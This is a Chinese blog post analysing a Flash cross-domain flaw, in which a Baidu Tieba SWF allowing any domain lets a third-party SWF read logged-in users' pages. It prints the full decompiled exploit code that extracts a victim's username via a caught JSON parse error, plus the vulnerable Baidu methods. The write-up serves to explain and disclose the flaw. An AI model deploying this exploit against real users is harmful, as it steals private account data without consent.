virusdefender's blog ʕ•ᴥ•ʔ

flash被跨域调用导致的安全风险

flash也是可以和js一样动态的请求和加载,类似这样 a.com上的a.swf

1var myLoader:Loader = new Loader();                     
2var url:URLRequest = new URLRequest("http://b.com/b.swf"); 
3myLoader.load(url);
4addChild(myLoader);  

但是默认情况下是swf是不能被跨域引用的,所以这个调用不一定成功,只有在b.swf设置了System.security.allowDomain("a.com")或者System.security.allowDomain("*")的情况下才可以。

这样的话,b.swf中的有一些方法就可以在a.swf中调用了,而且发送的请求会显示来自b.swf,造成了跨域请求,大部分的浏览器是携带cookies的(貌似safari不发送)。

http://weibo.com/2313289447/CmZQrqa4R?type=comment 里面有一个跨域获取百度贴吧用户名的demo,就是利用了百度贴吧里面一个swf的这个漏洞。swf在这也备份了一个

首先看一下exp的反编译后的代码。

 1package {
 2    import flash.utils.*;
 3    import flash.display.*;
 4    import flash.system.*;
 5    import flash.net.*;
 6    import flash.events.*;
 7    import flash.external.*;
 8
 9    public class exp extends Sprite {
10
11        private static const PATH:String = "baidu.vote.DataManager";
12        private static const URL:String = "http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf";
13
14        private var clsExp;
15        private var clsRes;
16        private var nick:String;
17
18        public function exp(){
19            var ld:* = null;
20            var tid:* = 0;
21            super();
22            Security.allowDomain("*");
23            ld = new Loader();
24            ld.load(new URLRequest(URL));
25            addChild(ld);
26            tid = setInterval(function ():void{
27                try {
28                    clsExp = ld.contentLoaderInfo.applicationDomain.getDefinition(PATH);
29                    clsRes = ld.contentLoaderInfo.applicationDomain.getDefinition("baidu.vote.enumerate.Constants");
30                } catch(e:Error) {
31                    return;
32                };
33                clearInterval(tid);
34                ready();
35            }, 100);
36        }
37        private function load(url:String):void{
38            var obj:* = this.clsExp.getInstance();
39            obj.requestPageData({
40                r:1,
41                voteId:1,
42                tn:1
43            });
44            this.clsRes.URL_VOTE_DETAIL = (url + "#");
45            obj.requestVoteDetail();
46        }
47        private function ready():void{
48            loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function (e:UncaughtErrorEvent):void{
49                complete(e.error.text);
50            });
51            this.load("http://tieba.baidu.com/");
52        }
53        private function complete(data:String):void{
54            var arr:Array;
55            arr = data.match(/"name": "([^"]+)/);
56            if (arr){
57                this.nick = arr[1];
58            };
59            ExternalInterface.call("bdcallback", this.nick);
60        }
61
62    }
63}//package

加载了http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf这个swf,然后调用了里面的requestVoteDetail方法,我们再反编译一下百度贴吧的swf,看看这个方法是干什么的。

1private function initialize():void{
2            System.useCodePage = true;
3            Security.allowDomain("*");
4            stage.scaleMode = "noScale";
5            ......

请求网络的代码

 1public function requestVoteDetail():void{
 2            var _local1:String = Constants.URL_VOTE_DETAIL;
 3            _local1 = (_local1 + pageData.voteId);
 4            _local1 = (_local1 + ("?alt=json&stamp=" + Math.random()));
 5            var _local2:URLRequest = new URLRequest(_local1);
 6            var _local3:URLLoader = new URLLoader();
 7            _local3.addEventListener(Event.COMPLETE, onVoteDetailComplete);
 8            _local3.addEventListener(IOErrorEvent.IO_ERROR, onVoteDetailError);
 9            _local3.load(_local2);
10        }

处理访问数据的方法

 1private function onVoteDetailComplete(_arg1:Event):void{
 2            var _local2:URLLoader = (_arg1.currentTarget as URLLoader);
 3            _local2.removeEventListener(Event.COMPLETE, onVoteDetailComplete);
 4            _local2.removeEventListener(IOErrorEvent.IO_ERROR, onVoteDetailError);
 5            var _local3:String = (_local2.data as String);
 6            _voteDetail = VoteDetail.fromJsonString(_local3);
 7            if (((_voteDetail) && ((_voteDetail.errno == 0)))){
 8                dispatchEvent(new DataManagerEvent(DataManagerEvent.VOTE_DETAIL_OK));
 9            } else {
10                dispatchEvent(new DataManagerEvent(DataManagerEvent.VOTE_DETAIL_ERROR));
11            };
12        }

然后是json解码

1public static function fromJsonString(_arg1:String, _arg2:Boolean=false):VoteDetail{
2            var _local3:Object = JSON.decode(_arg1);
3            return (fromObject(_local3, _arg2));
4        }

但是这个地方请求获取的是html,不是json,所以处理就会抛出异常,自己catch住就好了,异常的信息里面是包含html的。

这样就造成了一个跨域读取的漏洞,不仅仅是获取用户名,更可以csrf啊。

ps: 在wooyun上搜flash漏洞的时候,我才发现这个漏洞其实已经被报告给百度了,竟然还没修复,23333333

参考

http://www.cnblogs.com/index-html/p/swf-reflect-priv.html

http://wooyun.org/bugs/wooyun-2010-0110065

其他的flash安全相关的文章 http://drops.wooyun.org/tips/2924

提交评论 | 微信打赏 | 转载必须注明原文链接

#安全